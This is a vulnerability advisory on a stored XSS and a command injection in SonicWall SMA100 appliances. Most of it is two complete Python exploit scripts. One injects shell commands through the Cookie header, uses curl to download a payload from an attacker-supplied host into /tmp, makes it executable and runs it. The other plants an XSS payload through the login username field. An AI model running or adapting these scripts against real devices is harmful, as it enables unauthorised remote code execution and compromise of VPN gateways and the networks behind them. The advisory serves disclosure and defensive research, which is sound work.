SSD Advisory – SonicWall SMA100 Stored XSS to RCE

Summary

There are pre-auth stored XSS and post-auth remote command injection vulnerabilities in SonicWall SMA100. These vulnerabilities allow unauthenticated attackers to execute arbitrary command when an authenticated user is exposed to the stored XSS.

The vulnerabilities were silently patched without any CVE assignment. The whole feature named Classic mode, where stored XSS vulnerability exists, was removed, and a new user input filtering code was added against command injection vulnerability.

Credit

SeongJoon Cho from SSD Labs Korea

Vendor Response

The vendor has released SonicWall SMA100 10.2.1.10 which completely removes the Classic mode which removes the mentioned vulnerabilities

Affected Versions

SonicWall SMA100 version 10.2.1.9 and prior

Technical Analysis

Stored XSS

There is a stored pre-auth XSS vulnerability in cgi-bin/eventlog. It is triggered when cgi-bin/eventlog parses logs from the file.

The Log / View page shows Time, Priority, Category, Source, Destination, User, Message by running cgi-bin/eventlog:

And they are saved in /var/log/eventlog. For example:

sh-4.2# cat /var/log/eventlog 
Dec 25 04:44:54 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:44:54" vp_time="2022-12-25 12:44:54 UTC" fw=192.168.1.1 pri=5 m=0 c=700 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="Log cleared" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
Dec 25 04:44:58 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:44:58" vp_time="2022-12-25 12:44:58 UTC" fw=192.168.1.1 pri=5 m=2 c=2 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="User logged out" active=112 duration=115 agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
Dec 25 04:45:01 sslvpn SSLVPN: id=sslvpn sn=Unknown time="2022-12-25 04:45:01" vp_time="2022-12-25 12:45:01 UTC" fw=192.168.1.1 pri=5 m=1 c=1 src=192.168.1.10 dst=192.168.1.1 user="admin@LocalDomain" usr="admin@LocalDomain" msg="User login successful" portal="VirtualOffice" domain="LocalDomain" agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"

The delimiter is a \x20, and there is no filtering for any characters. I was able to do something interesting by entering \x20 into username for logging in. User input is saved into /var/log/eventlog, and cgi-bin/eventlog parses and shows it to authenticated user on Log / View.

Analysing cgi-bin/eventlog, I found ACCEPT_BY_TABLES.

It allows the malicious payload to be printed on Log / View.

Command Injection

There is a command injection vulnerability in cgi-bin/sitecustomization. We can enter payload into portalname.

Demo

Exploit

import requests
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

host = "{HOST}"


class SonicWall:

    def __init__(self, args):
        self.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
        }
        self.s = requests.Session()
        self.s.verify = False

        self.username = args.username
        self.password = args.password
        self.rhost = args.rhost

        self.root_url = args.host
        if not args.host.startswith("http"):
            self.root_url = f"https://{args.host}/"

        if not self.root_url.endswith("/"):
            self.root_url += "/"

    def http_get(self, path, params=None, headers={}):
        url = self.root_url + path
        headers.update(self.headers)
        r = requests.Request(method="GET", url=url, params=params, headers=headers)
        prep = r.prepare()
        prep.url = url
        res = self.s.send(prep)

        return res

    def http_post(self, path, data, headers={}):
        url = self.root_url + path
        headers.update(self.headers)
        r = requests.Request(method="POST", url=url, data=data, headers=headers)
        prep = r.prepare()
        prep.url = url
        res = self.s.send(prep)

        return res

    def login(self):
        data = {
            "username": self.username,
            "password": self.password,
            "domain": "LocalDomain",
            "loginButton": "Login",
            "state": "login",
            "login": "true",
            "verifyCert": "0",
            "portalname": "VirtualOffice",
            "loginToken": "",
            "ajax": "true",
        }
        res = self.http_post("/cgi-bin/userLogin", data=data)

        if '"status":"success"' not in res.text:
            return False

        if "Set-Cookie" not in res.headers:
            return False

        self.headers["Cookie"] = res.headers["Set-Cookie"]
        return True

    def get_csrf_token(self):
        res = self.http_get("/cgi-bin/users")
        if 'var tokenValue = "' not in res.text:
            return None
        token = res.text.split('var tokenValue = "')[1].split('"')[0]

        return token

    def command(self, cmd, csrf_token):
        portalname = "$($HTTP_COOKIE)"
        portalUrl = "/"
        vhostName = "vhostName"
        data = {
            "portalname": portalname,
            "portaltitle": "Virtual Office",
            "bannertitle": "Virtual Office",
            "bannermessage": "",
            "portalUrl": portalUrl,
            "httpOnlyCookieFlag": "on",
            "cachecontrol": "on",
            "uniqueness": "on",
            "duplicateLoginAction": "1",
            "livetilesmalllogo": "",
            "livetilemediumlogo": "",
            "livetilewidelogo": "",
            "livetilelargelogo": "",
            "livetilebackground": "#0085C3",
            "livetilename": "",
            "home2page": "on",
            "allowNetExtender": "on",
            "virtualpassagepage": "on",
            "cifsdirectpage": "on",
            "cifspage": "on",
            "cifsdefaultfilesharepath": "",
            "home3page": "on",
            "showAllBookmarksTab": "on",
            "showDefaultTabs": "on",
            "showCopyright": "on",
            "showSidebar": "on",
            "showUserPortalHelpButton": "on",
            "userPortalHelpURL": "",
            "showUserPortalOptionsButton": "on",
            "showUserPortalDownloadsButton": "on",
            "homemessage": "<h1>Welcome to the SonicWall Virtual Office</h1><p>SonicWall Virtual Office provides easy and secure remote access to the corporate network from anywhere on the Internet.</p><p>Click a pre-defined bookmark or create your own to securely access a corporate network resource.</p><p>Launch NetExtender to create a secure network connection to the corporate network for full network access.</p>",
            "hptabletitle": "Virtual Office Bookmarks",
            "vhostName": vhostName,
            "vhostAlias": "",
            "vhostHTTPSPort": "",
            "vhostInterface": "ALL",
            "vhostCert": "default",
            "vhostEnableKeepAlive": "on",
            "cdssodn": "",
            "enableSSLProxyVerify": "0",
            "sslProxyProtocol": "0",
            "loginSchedule": (
                "000000000000000000000000000000000000000"
                "000000000000000000000000000000000000000"
                "000000000000000000000000000000000000000"
                "000000000000000000000000000000000000000"
                "000000000000"
            ),
            "formsection": "main",
            "doAdd": "1",
            "cgiaction": "1",
            "themename": "stylesonicwall",
            "onlinehelp": "",
            "tmp_currentVhostName": "",
            "tmp_currentVhostAlias": "",
            "tmp_currentVhostHTTPSPort": "0",
            "tmp_currentVhostInterface": "ALL",
            "tmp_currentVhostIp": "",
            "tmp_currentVhostIPv6": "",
            "tmp_currentVhostEnableCertCheck": "0",
            "tmp_currentVhostEnableHTTP": "0",
            "tmp_currentVhostEnableKeepAlive": "1",
            "tmp_currentVhostCert": "",
            "tmp_currEnforceSSLProxyProtocol": "0",
            "tmp_currSSLProxyProtocol": "0",
            "tmp_currEnableSSLProxyVerify": "0",
            "tmp_currEnableSSLForwardSecrecy": "0",
            "tmp_currentVhostOffloadRewrite": "",
            "tmp_currentHSTSFlag": "0",
            "restartWS": "1",
            "reuseFavicon": "",
            "oldReuseFavicon": "",
            "swcctn": csrf_token,
        }

        backup_cookie = self.headers["Cookie"]
        self.headers["Cookie"] = f"{cmd} ; exit ; " + backup_cookie
        res = self.http_post("/cgi-bin/sitecustomization", data=data)
        if (
            "Virtual Host Name not set - A Portal with the same virtual host name already exists."
            in res.text
        ):
            print("[-] failed: duplicated name")
            return False

        self.headers["Cookie"] = backup_cookie

        data = {"delete": portalname, "swcctn": csrf_token}
        res = self.http_post("/cgi-bin/portallist", data=data)

        if portalname in res.text:
            print("[-] failed: deleting name")
            return False

        return True

    def run(self):
        print("[+] login")
        is_login = self.login()
        print(f"    result: {is_login}")

        if not is_login:
            return

        print("[+] csrf token")
        csrf_token = self.get_csrf_token()
        print(f"    {csrf_token}")

        print("[+] saving payload into target")
        self.command(f"curl -o /tmp/c {self.rhost}", csrf_token)
        if self.command(f"curl -o /tmp/c {self.rhost}", csrf_token) and self.command(
            "chmod 777 /tmp/c", csrf_token
        ):
            print("    success")

        print("[+] execute")
        if self.command("/tmp/c", csrf_token):
            print("    success")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="SonicWall SMA Exploit")
    parser.add_argument("host", type=str, help="victim host")
    parser.add_argument("rhost", type=str, help="reverse host (http/https uri)")
    parser.add_argument("username", type=str, help="username")
    parser.add_argument("password", type=str, help="password")

    args = parser.parse_args()

    e = SonicWall(args)
    e.run()
import requests
import json
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


class SonicWall:

    def __init__(self, args):
        self.s = requests.Session()
        self.s.verify = False

        self.rhost = args.rhost

        self.root_url = args.host
        if not args.host.startswith("http"):
            self.root_url = f"https://{args.host}/"

        if not self.root_url.endswith("/"):
            self.root_url += "/"

    def http_post(self, path, data, headers={}):
        url = self.root_url + path
        r = requests.Request(method="POST", url=url, data=data, headers=headers)
        prep = r.prepare()
        prep.url = url
        res = self.s.send(prep)

        return res

    def run(self):
        payload = f"<img/src=STOREDXSS>"
        assert len(payload) < 64

        print("[+] send payload")

        data = {
            "username": f"c=1003 ACCEPT_BY_IPTABLES SRC={payload} ",
            "password": "password",
            "domain": "LocalDomain",
            "loginButton": "Login",
            "state": "login",
            "login": "true",
            "verifyCert": "0",
            "portalname": "VirtualOffice",
            "loginToken": "",
            "ajax": "true",
        }

        path = f"cgi-bin/userLogin"
        res = self.http_post(path, data=data)
        print(res.text)
        print("    complete")


if __name__ == "__main__":
    with open("config.json", "r") as f:
        config = f.read()
    config = json.loads(config)

    parser = argparse.ArgumentParser(description="SonicWall SMA Exploit")
    parser.add_argument(
        "--host", type=str, help="victim host", default=config["target"]
    )
    parser.add_argument(
        "--rhost",
        type=str,
        help="reverse host (http/https uri)",
        default=config["xss_url"],
    )

    args = parser.parse_args()

    e = SonicWall(args)
    e.run()

?

Get in touch

Skip to content